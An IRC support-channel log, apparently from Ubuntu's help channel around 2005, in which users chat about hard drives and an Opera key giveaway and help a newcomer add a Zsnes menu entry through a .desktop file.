[09:10] <brownie17> agrajag: we all know how to get illegal free keys, but i feel bad when i do, becasue opera is just trying to get along
[09:10] <Agrajag> anyone who wants free opera key, go here: http://www.download.com/Opera/3000-2356_4-10421507.html?tag=excl
[09:10] <Reilyn> Cafugo, I lost my key
[09:11] <Agrajag> brownie17: this is legal
[09:11] <jiggafellz> i'll go with their SATA drives.
[09:11] <bjv> yeah, all i know is im still running / and /home off the same old 20gb seagate.
[09:11] <Reilyn> SO I guess I am in compliance
[09:11] <Agrajag> it's opera's 10th anniversary, they're giving out free keys
[09:11] <maximaus> my maxtor died exactly one day after the 3 year warranty a week ago. :o
[09:11] <Reilyn> I'm just not using my license, hehe
[09:11] <Agrajag> just send an email to registerme@opera.com in the next 24 hours.
[09:11] <brownie17> agrajag: really? how's that?
[09:11] <Agrajag> I sent one out, but haven't got a replay yet.
[09:12] <Agrajag> er, reply
[09:12] <omp342> I have a Hitachi SATA hard drive and i love it :)
[09:12] <syn-ack> I like the Raptor line of HDDs. they are good and strong and have never given me hassles
[09:12] <aimaz> I think most hard drives crap out soon after three years these days
[09:12] <Madpilot> brownie17: check this page for the Opera details: http://www.download.com/Opera/3000-2356_4-10421507.html
[09:12] <aimaz> especially the sub 70 ($140) ones
[09:12] <syn-ack> omp342: HAHA, you're using the DeathStar and you LIKE it?
[09:13] <aimaz> my seagate died about 3 years after I bought it
[09:13] <Reilyn> They rebuilt the Deathstar you know. =P
[09:13] <syn-ack> Reilyn: That doesnt make me trust is any more. :p
[09:13] <Reilyn> I have 2 gb drives that still work
[09:13] <Madpilot> Reilyn: and then it got blown up again... ;)
[09:14] <maximaus> aimaz,  yeah mine went with zero warning. nothing recoverable. :(
[09:14] <aimaz> before that i had fujitsu and that last about 5
[09:14] <Reilyn> hhaha, true
[09:14] <aimaz> but that was OLD
[09:14] <deufo> hi peeps, for some reason, my wireless card keeps turning off
[09:14] <aimaz> 6Gb and it was huge when it came out
[09:14] <omp342> Hitachi is not bad at all.. :P
[09:14] <deufo> anyone know how to solve?
[09:14] <syn-ack> aimaz: I like Fujitsu. They seem to make some nice strong drives
[09:14] <Reilyn> My 2.6 gb drive is a fujitsu
[09:14] <cafuego> syn-ack: I have an actual IBM deathstar :-)
[09:14] <Reilyn> it feels like it's made out of cast iron
[09:15] <cafuego> syn-ack: it's bene making strange noises for the past 3 years, but it still runs fine.
[09:15] <syn-ack> cafuego: and it still works? ;)
[09:15] <aimaz> syn-ack, aye, and they're paired with siemens now who apparantly have good customer service
[09:15] <cafuego> syn-ack: yeah, it's nearly 5 years old now.
[09:15] <syn-ack> cafuego: Heh, Im thinking of getting the IBM S51 to use as my dominant Windows Workstation
[09:16] <syn-ack> I made sure that didnt have a DeathStar in it
[09:16] <cafuego> I've not a newer 60G hitachi in a usb2 enclosure, that's a very nice disk.
[09:16] <cafuego> s/n/g/
[09:18] <upgrdman> how do i stop the famd/gamin server? its eating tons of cpu cycles
[09:18] <syn-ack> Had a system that I thought I would use the Maxtor sATA drive in; got 3 of em and all of them died in 6 months
[09:18] <brownie17> seveas: http://paste.ubuntulinux.nl/1741
[09:18] <syn-ack> upgrdman: killall -9 process name... gamd/famd will then respawn and run correctly
[09:19] <syn-ack> lucky you
[09:19] <cafuego> I've got this 9 year old 2.1 GB scsi drive that's still hacking away :-)
[09:19] <NoUse> brownie17 did you check your repositories?
[09:19] <brownie17> nouse: i'm not sure i know what you mean by that, i had a look at the ones that are installed
[09:20] <brownie17> nouse: can you be more specific
[09:20] <NoUse> !tell brownie17 about repos
[09:20] <omp342> i never got a response from OPERA
[09:20] <omp342> :(
[09:21] <upgrdman> syn-ack, it respawns, and it continues to eat cpu cycles like mad
[09:21] <upgrdman> i am creating a huge file with dd
[09:21] <syn-ack> This box has a Seagate ST380012A and it runs like a dream
[09:21] <brownie17> nouse: i all the ones in the repo menu checked
[09:21] <upgrdman> and this is bullshit... why the hell should famd/gam monitor a file still being written to
[09:21] <upgrdman> its eating like 80% of my 2GHz cpu
[09:21] <NoUse> brownie17 check the second link
[09:22] <syn-ack> upgrdman: Then dont you think its dd thats causing the cpu cycles to run like mad?
[09:22] <NoUse> brownie17 make sure all of those are added
[09:22] <upgrdman> syn-ack, no because for a second before the daemon is respawned, the cpu level dips, and the hdd leds are lit more
[09:22] <cafuego> make that 11 80G wd drives
[09:22] <brownie17> nouse: i have put that into my computer before too
[09:22] <cafuego> the hosted box also has 'em
[09:22] <NoUse> brownie17 ok
[09:22] <cafuego> they're all WD800JB models
[09:22] <syn-ack> upgrdman: Tell me why in the hell you're doing this anyway?
[09:23] <moZer> anyone here own a canyon wireless router?
[09:23] <cafuego> upgrdman: Well, you could just not run famd.
[09:23] <brownie17> nouse: so who should i ask about it? seveas isnt replying, madpilot doesnt use smeg, who should i ask
[09:23] <NoUse> brownie17 I don't know, I don't have a register of who knows what
[09:23] <brownie17> nouse: sorry, my fault,
[09:24] <upgrdman> im creating a dummy file of the exact same size as a host partition i had to dd_rescue. its first superblock is unreadable, and i dont know the numbers for the backups. a tutorial online reccomended creating a new file the exact same size, and placing a ext2 fs on the file and read the summy for the backup superblock numbers
[09:24] <upgrdman> cafuego, i dont know HOW
[09:24] <upgrdman> in gentoo a /etc/init.d/famd stop would do it
[09:24] <upgrdman> but no, ubuntu cant be arsed to put a famd or gam script in /etc/init.d
[09:24] <brownie17> cafuego: i have an error tryin to install smeg, have a look at this http://paste.ubuntulinux.nl/1741
[09:24] <NoUse> brownie17 a 5 second search on the forums yielded this http://ubuntuforums.org/showthread.php?t=55939&highlight=smeg+python-xdg
[09:25] <brownie17> nouse: are the forums here very good?
[09:25] <NoUse> brownie17 did you look at the link?
[09:26] <brownie17> nouse: yes, i'm reading it now, but it might take me a while to figure it out
[09:27] <brownie17> so the second link in the second post should replace the one i have. what is the command for editing the ones i have now?
[09:27] <NoUse> brownie17 you can use gedit or something
[09:28] <brownie17> so:   sudo gedit <what was the location of the file again?>
[09:28] <NoUse> brownie17 /etc/apt/sources.list
[09:29] <NoUse> brownie17 it says right there on the link
[09:29] <NoUse> brownie17 I'm off, good luck
[09:30] <upgrdman> so does anyone know how to make gamin/gam shut down
[09:30] <kameron> how do i make a grub bootdisk?
[09:32] <brownie17> Kemik: i need a hand with something
[09:33] <brownie17> kemik: you there?
[09:33] <pef> hi
[09:34] <Madpilot> hi pef
[09:37] <brownie17> madpilot: feel like giving me a hand? nouse gave me a guide for adding extra repositories, but the guide told me what my sources file should look like now, and it didnt look the same. the website for the guide was http://ubuntuguide.org/#extrarepositories, and the pastebin for what mine looks like is  http://paste.ubuntulinux.nl/1743
[09:37] <Madpilot> !tell brownie17 about ubuntuguide
[09:38] <omp342> is there anyone here that has cable internet from charter?
[09:39] <brownie17> madpilot, thanx... i think... will there be a guide telling me just about the same thing on that wiki place?
[09:39] <Madpilot> http://wiki.ubuntu.com/UserDocumentation <-- best place to start
[09:40] <brownie17> !ubuntuguide
[09:40] <ubotu> from memory, ubuntuguide is a set of instructions with no explanation. Please do not advise people to use ubuntuguide.  Advise https://wiki.ubuntu.com instead. The official FAQ Guide will be released with Breezy, stay tuned.
[09:41] <omp342> should i get breezy now or wait till it's released?
[09:42] <syn-ack> Wait till its released, especially if you dont know exactly what you're doing
[09:43] <omp342> i still haven't decided whether i'm going to get breezy when it comes out, or stay with gentoo
[09:43] <omp342> i like the portage system gentoo has
[09:44] <lunitik> omp342: you'd have much more freetime if you went with breezy...
[09:44] <lunitik> omp342: and wouldn't lose much in the way of speed...
[09:44] <syn-ack> I used Gentoo for a long time on my desktops and then I would use Debian on the servers... After Warty dropped I converted everything to Ubuntu
[09:45] <lunitik> omp342: if anything... boot time is likely faster... as is (re)starting X  ... I'm sure GTK will be better once I find a theme that takes advantage of ciaro too...
[09:45] <jiggafellz> How do i stop the bar at the bottom from hiding it self?
[09:46] <omp342> the reason i like gentoo so much is the damn portage system :)
[09:46] <omp342> jiggafellz: you probably have the autohide or whatever its called option on :P
[09:46] <syn-ack> Portage is very nice, I'll give you that. The reason I dont like it, is I want to use something that Just Works out of the box
[09:47] <jiggafellz> i looked at that but it's unchecked. : (
[09:47] <syn-ack> And I dont want to wait for shit to compile
[09:47] <lunitik> omp342: you like waiting around to install new software? wow... cool
[09:48] <omp342> the only thing i don't like about gentoo is, you have to wait a few hours for gnome to download and compile
[09:48] <brownie17> can anyone at all help me!? please look at this pastebin: http://paste.ubuntulinux.nl/1741
[09:48] <jsgotangco> omp342, you get a really optimized box in the process though
[09:49] <brownie17>  can anyone at all help me!? please look at this pastebin: http://paste.ubuntulinux.nl/1741
[09:49] <brownie17>  can anyone at all help me!? please look at this pastebin: http://paste.ubuntulinux.nl/1741
[09:49] <omp342> brownie17: you need an old UNSTABLE version of python for smeg to work
[09:49] <syn-ack> jsgotangco: Thats fine and dandy. Too bad it only helps give you 1% better performance.
[09:49] <omp342> brownie17: don't spam
[09:49] <jsgotangco> syn-ack, heh
[09:49] <jsgotangco> true
[09:49] <omp342> brownie17: you can manually edit the menu entries
[09:49] <brownie17> omp342: i need to get an unstabel version? why would i do that? does smeg need to be updated or something?
[09:49] <brownie17> omp342: isnt that very difficult?
[09:49] <omp342> brownie17: don't use smeg :P
[09:50] <omp342> brownie17: it's pretty easy actually
[09:50] <brownie17> omp342: i am a COMPLETE newbie
[09:50] <aftertaf> some things are not worth smegging up your system over...
[09:50] <omp342> brownie17: i'm new too, i've been using linux for about 2 weeks now
[09:50] <brownie17> omp342: mine giving me a few helpful hints i nthe right direction, i.e very exact instructions!?
[09:50] <aftertaf> lol
[09:50] <syn-ack> Ive used Linux for some years and I dont even know what the hell smeg is
[09:50] <aftertaf> syn-ack:  me too...
[09:50] <Ng> menu editor
[09:50] <holycow> yey, another open office beta
[09:51] <Ng> it's not an especially old program, but the version in universe does indeed fail to install with the dependency error brownie17 pasted
[09:51] <Ng> so I guess that's a broken package
[09:51] <aftertaf> mail the maintainer!!
[09:51] <jiggafellz> omp342, it's not the panel bar but the bar that lists whatever programs i have open.
[09:51] <aftertaf> or install kde-desktop :)
[09:52] <syn-ack> Kde is evil
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[09:52] <Ng> no desktop wars!
[09:52] <omp342> brownie17: hold up, let me see if i can find a guide on how to do it
[09:52] <brownie17> omp342: thanx
[09:52] <aftertaf> omp342 brownie17: i'm new too, i've been using linux for about 2 weeks now......
[09:52] <brownie17> omp342: i really only need to make one tiny addition
[09:52] <aftertaf> but gento for how long?
[09:53] <aftertaf> Ng:  syn-ack:  lol
[09:53] <brownie17> aftertaf: what be gento my good fello
[09:53] <aftertaf> a typo :p
[09:53] <aftertaf> i hates this keybored!
[09:53] <brownie17> aftertaf: hahah :)
[09:53] <brownie17> !gentoo
[09:53] <ubotu> brownie17: Are you on ritalin?
[09:53] <Madpilot> brownie17: you know you can just create a shortcut icon (launchpad) for stuff that doesn't do menu entries?
[09:54] <brownie17> madpilot: like where mozilla and evolution are?
[09:54] <omp342> brownie17: ok i can't find a guide so i'll just explain it to you :)
[09:54] <Madpilot> that's right
[09:54] <aftertaf> lol omp342 :)
[09:55] <Madpilot> brownie17: right click on the top panel - beside the other icons - and click Add To Panel
[09:55] <brownie17> madpilot: done so far
[09:55] <omp342> aftertaf: what's so funny :P
[09:56] <aftertaf> anyone know about speedtouch usb setup using kernel driver?
[09:56] <aftertaf> omp342:  ..  i can't find a guide so i'll just explain ..
[09:56] <aftertaf> raised a grin ;)
[09:56] <omp342> aftertaf: i know how to do it :P, i was just too lazy to explain it all
[09:56] <aftertaf> thats what made me smile ;)
[09:57] <omp342> aftertaf: all you gotta do is make a simple .desktop file in /usr/share/applications
[09:57] <brownie17> .desktop file?
[09:57] <aftertaf> rightclick, fill in the blanks... i know that!
[09:57] <aftertaf> i dont know about doing a .desktop meself,
[09:58] <nalioth_wrkn> .desktop files are easy to make
[09:58] <brownie17> ooh, i worked it uot
[09:58] <brownie17> thankyou
[09:58] <aftertaf> nalioth:  stopping you from working ?? :D
[09:58] <omp342> the easiest way is making a copy of another .desktop file, and just editing the values for another program
[09:59] <aftertaf> i imagine they are, just being text files....
[09:59] <aftertaf> the trick is knowing what to edit, what to create, and what to put at the right place for the magic to happen
[09:59] <omp342> i should write a guide on it, just so i can show it to people instead of explaining :)
[09:59] <aftertaf> lool
[09:59] <brownie17> omp342, so now how do i put it into the gnome menu?
[09:59] <nalioth> nah, i just got back
[10:00] <brownie17> omp342, i have created the file
[10:00] <ekimus> hi, anyobdy can point me to a tool to see disk load (like top)
[10:00] <nalioth> omp342: what is a .desktop that goes in the /usr/whereeveryousaid?  and what does it do there?
[10:01] <omp342> ehh the .desktop files in there show in the gnome menu
[10:01] <omp342> im not sure if its exactly the same in ubuntu, but i assume it is
[10:01] <omp342> i use gentoo
[10:01] <brownie17> omp342, it wont let me paste in there
[10:01] <aftertaf> wow, ive got loads of pretty shortcuts in there :)
[10:01] <aftertaf> cooool
[10:01] <omp342> brownie17: you gotta do it in a terminal as root
[10:01] <aftertaf> brownie17:  sudo
[10:02] <brownie17> how do i paste stuff in terminal
[10:02] <aftertaf> sudo cp /what/i/want /where/it/goes
[10:02] <brownie17> ?
[10:02] <ekimus> nalioth: they are used by the xdg desktop specificatio (freedesktop.org) for building menues (mainl in kde and gnome) but DEs and WMs should use these specifications for interopability
[10:02] <aftertaf> cp =copy
[10:02] <nalioth> ekimus: ty, i'm only familiar with building .desktop files in /usr/share/xsessions
[10:02] <omp342> brownie17: what aftertar said is correct
[10:03] <aftertaf> thx :)
[10:03] <brownie17> cp: cannot stat `/home/fraser/desktop/zsnes': No such file or directory
[10:03] <aftertaf> brownie17:  where is the .desktop file you have modified?
[10:03] <aftertaf> ok
[10:03] <ekimus> nalioth: i think those are the same. the location where those files should be found isn't really clear from the specs (kde for example is quite widespread over the system *yuck*)
[10:04] <brownie17>  cp: cannot stat `/home/fraser/desktop/zsnes': No such file or directory
[10:04] <aftertaf> no desktop wars !!!
[10:04] <aftertaf> :)
[10:04] <aftertaf> brownie17:  have you saved and closed your editor?
[10:04] <brownie17> omp342:  cp: cannot stat `/home/fraser/desktop/zsnes': No such file or directory
[10:04] <omp342> brownie17: "No such file or directory" :P
[10:04] <nalioth> ekimus: i'm familiar with /u/s/x because some of the DMs dont make them when installed via apt
[10:04] <omp342> brownie17: can't you read it yourself
[10:04] <brownie17> saved and closed my editor? i hav ethe file in front of me on the desktop
[10:05] <nalioth> ekimus: /usr/share/xsessions is where your login screen sees what's available to display
[10:05] <brownie17> omp342, smart arse.
[10:05] <omp342> brownie17:  do this
[10:05] <omp342> brownie17: ls /home/fraser/desktop
[10:05] <ekimus> aftertaf: desktop wars? that's a fact. not a flame, ever tried to remaster kubuntu and reconfigure the menu? (pain in the ass)
[10:05] <omp342> and see what the file is called
[10:05] <aftertaf> ekimus:  hehe, sounds FAR too complicate for me, i'm only MCSE 2003 :)
[10:06] <omp342> brownie17: what files does it show?
[10:06] <brownie17> ls: /home/fraser/desktop: No such file or directory
[10:06] <ekimus> aftertaf: it's well documented, if you can read it's not a problem just lousy to search all the files
[10:06] <omp342> ...
[10:06] <brownie17> aftertaf: ????
[10:06] <aftertaf> tell me about it....
[10:07] <aftertaf> ;)
[10:07] <omp342> brownie17: i think it's Desktop and not desktop
[10:07] <brownie17> oh ok
[10:07] <aftertaf> brownie17:  case sensitive...
[10:07] <brownie17> ok it worked omp342
[10:07] <omp342> ok so you moved it?
[10:07] <aftertaf> i recommend you try using terminal more often, its really useful to know how to get around....
[10:07] <brownie17> oh no, not yeh
[10:07] <omp342> okay
[10:07] <brownie17> the other thing worked
[10:07] <omp342> whats the file called?
[10:08] <Madpilot> !cli
[10:08] <ubotu> cli is, like, totally, https://wiki.ubuntu.com/BasicCommands or http://www.linuxcommand.org/
[10:08] <aftertaf> zsnes.desktop ?
[10:08] <omp342> okay
[10:08] <omp342> now do this
[10:08] <aftertaf> u can use tab to autocomplete.....
[10:08] <Madpilot> brownie17: URL above w/ ubotu is good for basic command stuff ^^^
[10:08] <brownie17> cp: cannot stat `/home/fraser/Desktop/zsnes': No such file or directory
[10:08] <omp342> brownie17
[10:08] <omp342> it should be
[10:08] <omp342> zsnes.desktop
[10:08] <brownie17> oh ok
[10:08] <omp342> not just zsnes
[10:08] <ekimus> another round of rsync and create_compressed_fs *bleah*
[10:09] <brownie17> http://www.linuxcommand.org/
[10:09] <brownie17> bugger
[10:09] <aftertaf> don't go to the dark side of the kernel, fraser ;)
[10:09] <brownie17> cp: cannot stat `/home/fraser/Desktop/zsnes.desktop': No such file or directory
[10:09] <omp342> hmmmm
[10:09] <brownie17> aftertaf: are you high? :)
[10:09] <omp342> brownie17: when you did ls
[10:09] <omp342> brownie17: what was the files listed
[10:09] <Nermal> huzzah for ubuntu-unreg
[10:09] <brownie17> Documents i must read  pastebuin~               Zsnes.desktop
[10:09] <brownie17> nautilus-home.desktop  Screenshot-synaptic.png
[10:09] <aftertaf> lol brownie17 nope....
[10:09] <aftertaf> Z
[10:09] <aftertaf> not z
[10:09] <brownie17> ooh it worked!
[10:10] <brownie17> good job
[10:10] <omp342> ok
[10:10] <omp342> you moved it now?
[10:10] <brownie17> i think?
[10:10] <omp342> now
[10:10] <brownie17> yes
[10:10] <brownie17> what now?
[10:10] <omp342> well
[10:10] <omp342> unless you did something wrong
[10:10] <omp342> after you restart X it should be in the menu
[10:10] <omp342> so restart your computer
[10:10] <omp342> if it didnt work
[10:10] <Madpilot> brownie17: start with https://wiki.ubuntu.com/BasicCommands  before you hit the linuxcommands site
[10:10] <omp342> ill help you
[10:11] <brownie17> omp342, couldnt i just restart the gnome panel?
[10:11] <brownie17> madpilot: ok!
[10:11] <omp342> brownie17: i dono :P
[10:11] <omp342> try it
[10:11] <CCFIEL> hello ppl..
[10:11] <CCFIEL> how can i install usb modem?
[10:12] <brownie17> omp342, which catagory should it be in?
[10:12] <brownie17> ccfiel: you need drivers
[10:12] <omp342> brownie17: it all matters what you set it to be in (when editing the .desktop file)
[10:13] <aftertaf> CCFIEL:  what type of modem do you have?
[10:13] <brownie17> omp342, i dont think there was an option for what type of file
[10:13] <CCFIEL> i have conexant..
[10:13] <brownie17> well at any rate omp342, it is not in any of the catagories
[10:13] <omp342> brownie17: http://www.pastebin.com/  <copy paste everything inside your .desktop file in there
[10:13] <CCFIEL> i finish installed the free driver...
[10:13] <omp342> and psot it
[10:13] <omp342> then give me the link
[10:13] <omp342> ill fix it for you
[10:13] <CCFIEL> what would be the next step?
[10:13] <omp342> brownie17: should i just make a .desktop file for you?
[10:14] <brownie17> yes please
[10:14] <brownie17> omp342, the file is called zsnes, and i want it in games catagory
[10:14] <aftertaf> CCFIEL:  does the doc give you any next steps?
[10:14] <omp342> brownie17: okay wait 2 or 3 minutes
[10:14] <CCFIEL> nothing...
[10:14] <CCFIEL> :(
[10:15] <aftertaf> brownie17:  99% headache, 1% fun + satisfaction... like i said yesterday.
[10:15] <aftertaf> but its worth it..
[10:15] <brownie17> hahah
[10:15] <brownie17> it wasn't yesterday, that was today
[10:15] <aftertaf> CCFIEL:  conexant what... any model number or ref?
[10:15] <aftertaf> brownie17:  depends on your timezone ;)
[10:15] <brownie17> aftertaf: oh ok, hahah
[10:16] <tdn> How do I install pypanel and adesklets? I can't seem to find them with an apt-cache search.
[10:16] <aftertaf> !adesklets
[10:16] <ubotu> aftertaf: I'm not sure, is it larger than a breadbox?
[10:17] <CCFIEL> this what scanmodem...says
[10:17] <CCFIEL> 1-1/0: Conexant id 22
[10:17] <CCFIEL> Extended modem ID: codec=1 LIN1
[10:17] <CCFIEL> Modem status     : PRA(GPIO) PRB(res) PRC(ADC1) PRD(DAC1) PRE(ADC2) PRF(DAC2) PRG(HADC) PRH(HDAC)
[10:17] <CCFIEL> Line1 rate       : 48000Hz
[10:17] <ekimus> CCFIEL: don't paste here use a pasteservice
[10:17] <CCFIEL> sorry...
[10:17] <tdn> aftertaf, did'nt get any cleaver by that :)
[10:17] <brownie17> ! tell ccfiel about pastebin
[10:17] <ubotu> Not a clue, brownie17
[10:17] <brownie17> !tell ccfiel about pastebin
[10:17] <CCFIEL> sorry...next time..:(
[10:18] <brownie17> dont worry about it ccfiel
[10:18] <aftertaf> tdn:  me neither ;)
[10:18] <tdn> aftertaf, heh
[10:18] <aftertaf> CCFIEL:  usb adsl or v56 ?
[10:18] <nalioth> !info adesklets
[10:18] <aftertaf> 56k V92 i meant
[10:19] <CCFIEL> its a 56k...
[10:19] <nalioth> no such thing as adeskklets in the ubuntu world
[10:19] <nalioth> now however...
[10:19] <nalioth> !info gdesklets
[10:19] <ubotu> gdesklets: (an advanced architecture for desktop applets), section universe/gnome, is optional. Version: 0.34.3-0ubuntu2 (hoary), Packaged size: 358 kB, Installed size: 2104 kB
[10:19] <brownie17> omp342, you done yet?
[10:19] <tdn> nalioth, hmm... ok. I guess I'll just have to install them from source then.
[10:19] <omp342> brownie17: almost, i'll brb, one second
[10:19] <CCFIEL> aftertaf: its a 56k
[10:19] <nalioth> tdn: share with us. what are adesklets?
[10:20] <tdn> nalioth, http://adesklets.sourceforge.net/
[10:20] <aftertaf> CCFIEL:  found this link which may help..... http://www.linuxant.com/drivers/hsf/index.php
[10:21] <nalioth> tdn: you are no fun at all
[10:21] <tdn> nalioth, huh?
[10:21] <aftertaf> looooool
[10:21] <brownie17> omp342, done yet?
[10:21] <omp342> brownie17: okay i just tested it and it worked, now let me get it working for you :)
[10:21] <aftertaf> ok, off for that nicotine rush i promised myself earlier....
[10:22] <aftertaf> respect :)
[10:22] <aftertaf> burb
[10:22] <omp342> brownie: first delete the one you have by doing this  ' sudo rm /usr/share/applications/Zsnes.desktop '
[10:22] <CCFIEL> i think ...i give up..witht this modem..setup...
[10:22] <omp342> tell me when you did that
[10:22] <nalioth> tdn: python and imlib based desklets was something of what i was expecting
[10:22] <CCFIEL> my internal modem....
[10:22] <ekimus> CCFIEL: most internal modems are just soundcards
[10:22] <tdn> nalioth, see for instance this cool menu bar: http://adesklets.sourceforge.net/verbatim/yab.html :)
[10:23] <tdn> nalioth, ok
[10:23] <brownie17> omp342, done
[10:23] <omp342> ok 1 second
[10:23] <CCFIEL> ekimus: what do you mean?
[10:24] <nalioth> tdn: yes, i'm looking. gdesklets don't work for me, i'm gonna try this instead
[10:24] <omp342> brownie17: open a new document (in any text editing program)
[10:24] <CCFIEL> ekimus: i want my sister to used ubuntu in her laptop... all was ok..until...the modem..which she needs for her dial up...
[10:24] <nalioth> tdn: you do have your build-essential and all that kit, right?
[10:24] <omp342> brownie17: tell me when you do that :)
[10:24] <brownie17> omp342 done
[10:24] <CCFIEL> so...maybe... i need to re install...it back to winxp..:(
[10:24] <tdn> nalioth, not. Not yet.
[10:25] <ekimus> CCFIEL: they are just soundcards which send the sound over line instead of the speakers. if you need a driver to get it working you have to look in your kernel config for the corresponding soundcard (if the module isn't there which i doubt)
[10:25] <aftertaf> CCFIEL:  NOoooooooooo!!!!!!!
[10:25] <tdn> nalioth, adesklets combined with openbox and pypanel is the thing for me :D
[10:25] <ikkys> is there a msn for ubuntu?
[10:25] <ekimus> ikkys: gaim
[10:25] <omp342> brownie17: now go here http://rafb.net/paste/results/OEVxBr59.html  and copy-paste everything i wrote (be sure not to paste the 1 2 3 4 etc. numbers)
[10:25] <ikkys> other than gaim
[10:25] <tdn> ikkys, amsn
[10:25] <ekimus> ikkys: centericq
[10:25] <omp342> brownie17: tell me when you got that done
[10:26] <ikkys> ok
[10:26] <tdn> ikkys, apt-cache search msn
[10:26] <brownie17> omp342, its all in there
[10:26] <Seveas> jdub, around?
[10:26] <CCFIEL> ekimus: ok...so how will i set this up..so that..my sister could... make internet conection using dial.up...?
[10:26] <aftertaf> ikkys:  kopete
[10:26] <omp342> brownie17: okay, now save the file as zsnes.desktop (save it on your Desktop)
[10:26] <CCFIEL> i have tried...to auto detect...but no luck..
[10:26] <aftertaf> CCFIEL:  have you tested it for dial out?
[10:26] <tdn> ikkys, centericq is cool too.
[10:27] <brownie17> omp342, done
[10:27] <CCFIEL> aftertaf: what do you mean..? i very new in ubuntu...
[10:27] <jdub> Seveas: yeah
[10:27] <Seveas> jdub, can I PM you for a sec?
[10:27] <CCFIEL> aftertaf: i have just tried to auto detect the modem...but..
[10:27] <aftertaf> is there aphone app installed with which you can test?
[10:27] <CCFIEL> no modem found..
[10:27] <ikkys> guys, why am i getting this? E: Could not get lock /var/lib/dpkg/lock - open (11 Resource temporarily unavailable)
[10:27] <ikkys> E: Unable to lock the administration directory (/var/lib/dpkg/), is another process using it?
[10:27] <aftertaf> oki... modem not found by OS.
[10:27] <omp342> brownie: now do this  '  sudo cp /home/fraser/Desktop/zsnes.desktop /usr/share/applications/ '
[10:27] <ekimus> CCFIEL: http://gentoo-wiki.com/HARDWARE_Gentoo_Acer_Travelmate_803LCi_Manual#Internal_modem <-- there's an example, it's for gentoo but the general stuff should apply
[10:28] <omp342> brownie17: tell me when your done
[10:28] <jdub> Seveas: sure
[10:28] <humulus> hello
[10:28] <aftertaf> ikkys:  you're using synaptic? then trying apt-get in consloe?
[10:28] <ekimus> ikkys: you can only run a single apt-get process on the system
[10:28] <brownie17> omp342: cp: cannot create regular file `usr/share/applications/zsnes.desktop': No such file or directory
[10:29] <Gobfrey> I just switched from an LCD monitor to a CRT, and I'm having problems setting it up.  From searching I'm supposed to do something with /etc/X11/XF86Config-4 but it doesn't exist on my system
[10:29] <omp342> brownie17: you have to have a / before usr
[10:29] <aftertaf> Gobfrey:  xorg.conf
[10:29] <ikkys> so because i had run the synaptic just now, an apt-get wont work
[10:29] <ekimus> Gobfrey: /etc/X11/xorg.conf
[10:29] <brownie17> omp342 done
[10:29] <humulus> i have an interresting problem with my sound card, when i plug my headphones, the speakers still output sound, and i don't want them too any solution?
[10:29] <aftertaf> ikkys:  if not cloesed, yep...
[10:29] <omp342> brownie17: now delete any extra files on your desktop
[10:29] <brownie17> omp342, it worked, and it is in the menu
[10:29] <omp342> okay
[10:29] <omp342> :)
[10:29] <aftertaf> General round of applause!!!!
[10:29] <omp342> does the menu button work?
[10:29] <brownie17> omp342, thanx a ton
[10:30] <ikkys> ok
[10:30] <nalioth> Seveas: you are lucky, go play the lotto
[10:30] <omp342> does it work when you click it?
[10:30] <CCFIEL> ekimus: nothing..i have tried this one..:(
[10:30] <brownie17> omp342, yes
[10:30] <omp342> yay
[10:30] <omp342> :)
[10:30] <Gobfrey> OK, so I'm in xorg.conf, and I've found the monitor resolution bit, but I can't find anything about the refresh rates.
[10:30] <omp342> i feel special
[10:30] <omp342> i helped someone
[10:30] <omp342> lol
[10:30] <aftertaf> have a coffee :)
[10:30] <omp342> ehh, its 1:30 AM
[10:30] <ekimus> CCFIEL: i don't use the internal modem i just know about the general procedure, sorry can't help you any further
[10:31] <ikkys> just wondering, if im using apt-get and something is downloading, if i hit ctrl+C, as it stops the process, does it delete the file?
[10:31] <Seveas> ikkys, no
[10:31] <CCFIEL> ekimus: ok..thanks...
[10:31] <ikkys> so how do i delete or clear that?
[10:31] <Seveas> it will resume the sownload if you restart
[10:31] <ekimus> ikkys: apt-get clean
[10:31] <Seveas> apt-get clean cleans out the cache
[10:31] <ikkys> thx
[10:32] <omp342> i still can't decide whether to get ubuntu or not :/
[10:32] <ekimus> omp342: what are you using now?
[10:32] <omp342> ekimus: gentoo
[10:33] <deFrysk> omp342, install it on a seperate partition
[10:33] <nalioth> tdn: you may have an adventure gettin your adesklets to work
[10:33] <deFrysk> and try it
[10:33] <CCFIEL> does anyone here knows how to setup...internal modem...Silicon Integrated Systems [SiS]  AC'97 Modem Controller (rev a0)..for laptop...its been 2 days...now..i have no luck..before i gave up...and reinstall for xp...:(
[10:33] <omp342> deFrysk: i already used ubuntu (before i got gentoo)
[10:33] <tdn> nalioth, ok. Are the known problems?
[10:33] <CCFIEL> please i dont want to go back to windows...
[10:33] <omp342> the only reason i don't want to go back to ubuntu is because the portage system gentoo has is amazing
[10:34] <deFrysk> omp342, its a matter of preference using getoo/portage or the ease of using ubuntu/apt-get
[10:34] <bjv> :( so what exactly is the state of raid in hoary 5.04?
[10:34] <bjv> im sort of lost..
[10:34] <bjv> support for md is compiled into the kernel?
[10:34] <Seveas> yes
[10:34] <ekimus> omp342: i used it too. but got sick of configuring all the stuff myself on the desktop. ubuntu's fine as long as you stay with the defaults. if you want something special it's just about the same (read docs and configure....). if you are using a lot of specialised use flags (most people don't, and if you aren't sure about it you definitely aren't) you won't have any big advantages because you'd have to use apt-source and build the stuff yourself an
[10:34] <bjv> but i must load modules for each raid level?
[10:35] <deFrysk> omp342, I see nothing amzing about portage ?
[10:35] <CCFIEL> does anyone here knows how to setup...internal modem...Silicon Integrated Systems [SiS]  AC'97 Modem Controller (rev a0)..for laptop...its been 2 days...now..i have no luck..before i gave up...and reinstall for xp...:( please help...i dont want to go back to xp...:(
[10:35] <nalioth> tdn: there seems to be a quite a few depends not available via ubuntu repos
[10:35] <tdn> nalioth, ok. Damn :/
[10:35] <Seveas> bjv, grep -i md /boot/config*
[10:35] <ekimus> deFrysk: ever tried to find out wether windowmaker is compiled with xinerama support on a debian system_
[10:35] <ekimus> s/_/?
[10:36] <deFrysk> ekimus, as a normal user ? no never
[10:36] <tdn> nalioth, maybe I should just go back to Debian then... or take the battle making it work...
[10:36] <deFrysk> ekimus, I dont care about windowmaker
[10:36] <nalioth> Seveas: got a question for ya...can i symlink 'yacc' to 'bison'?
[10:36] <nalioth> tdn: nothing an experienced debian user can't get by
[10:37] <Seveas> nalioth, 'alias yacc=bison'
[10:37] <Seveas> btw: bison installs such a symlink...
